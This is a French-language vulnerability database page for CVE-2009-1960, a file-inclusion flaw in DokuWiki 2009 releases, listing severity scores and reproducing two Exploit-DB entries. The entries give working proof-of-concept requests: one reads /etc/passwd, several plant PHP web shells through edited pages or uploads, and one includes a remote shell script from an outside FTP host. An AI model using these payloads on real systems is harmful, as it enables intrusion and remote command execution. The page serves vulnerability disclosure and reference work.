CVE-2009-1960
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 8781
Date de publication : 2009-05-25 22h00 +00:00
Auteur : girex
EDB Vérifié : Yes
# Author_ girex
# Homepage_ girex.altervista.org
# CMS_ Dokuwiki
# Homepage_ dokuwiki.org
# Affected versions_ 2009-02-14
rc2009-02-06
rc2009-01-30
# Bug_ Local file inclusion
# Need_ register_globals = On
# Vuln description_
# File: /inc/init.php
// if available load a preload config file
$preload = fullpath(dirname(__FILE__)).'/preload.php';
if (@file_exists($preload)) include($preload);
...
//set the configuration cascade - but only if its not already been set in preload.php
global $config_cascade;
if (empty($config_cascade)) {
$config_cascade = array(
'main' => array(
'default' => array(DOKU_CONF.'dokuwiki.php'),
'local' => array(DOKU_CONF.'local.php'),
'protected' => array(DOKU_CONF.'local.protected.php'),
),
...
// load the global config file(s)
foreach (array('default','local','protected') as $config_group) {
if (empty($config_cascade['main'][$config_group])) continue;
foreach ($config_cascade['main'][$config_group] as $config_file) {
if (@file_exists($config_file)) {
include($config_file);
}
}
}
# File preload.php doesn't exists. (so seems for the affected versions)
# So we can set $config_cascade arrays via register globals
# It's not a RFI couse use of file_exists function.
# First of all you can check the dokuwiki's version here:
# /[host]/[path]/VERSION
# and check if it's a vulnerable version
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
# Note:
# You can obtain a remote command execution if you can edit the content of a page
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
# And include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
# Or you can check if you have permissions to upload file via:
# [host]/[path]/lib/exe/mediamanager.php
# If so, upload your file with .doc extension then include it:
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
# milw0rm.com [2009-05-26]
Exploit Database EDB-ID : 8812
Date de publication : 2009-05-25 22h00 +00:00
Auteur : Nine:Situations:Group
EDB Vérifié : Yes
Dokuwiki 2009-02-14 Remote/Temporary File Inclusion exploit
tested and working
I was reading: http://www.milw0rm.com/exploits/8781
by girex
[quote]
It's not a RFI couse use of file_exists function.
[/quote]
How wrong brother!
trick 1 (ftp:// wrapper with php 5):
needs register_globals = on
allow_url_fopen = On (default)
allow_url_include = On (not default)
http://[host]/dokuwiki-2009-02-14/doku.php?config_cascade[main][default][]=ftp://anonymous:anon@1.12.123.123/folder/sh.php&cmd=ls%20-la>out.txt
trick 2:
needs register_globals = on
file_uploads = On (default)
include a temporary file passed by the $_FILES[] array:
<form action="http://[host]/dokuwiki-2009-02-14/doku.php?cmd=ls%20-la" method="post" enctype="multipart/form-data" target="_self">
<input name="config_cascade[main][default][]" type="file">
<input type="submit" value="submit">
</form>
where your shell is like:
<?php passthru($_GET[cmd]); die();?>
because when there is no prefix or suffix for the affected var, it remains like this:
/path_to_temporary_folder/php93.tmp !
Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/
# milw0rm.com [2009-05-26]
Products Mentioned
Configuraton 0
Dokuwiki>>Dokuwiki >> Version 2009-02-14
- Dokuwiki>>Dokuwiki >> Version 2009-02-14 (Open CPE detail)
Dokuwiki>>Dokuwiki >> Version rc2009-01-30
- Dokuwiki>>Dokuwiki >> Version rc2009-01-30 (Open CPE detail)
Dokuwiki>>Dokuwiki >> Version rc2009-02-06
- Dokuwiki>>Dokuwiki >> Version rc2009-02-06 (Open CPE detail)
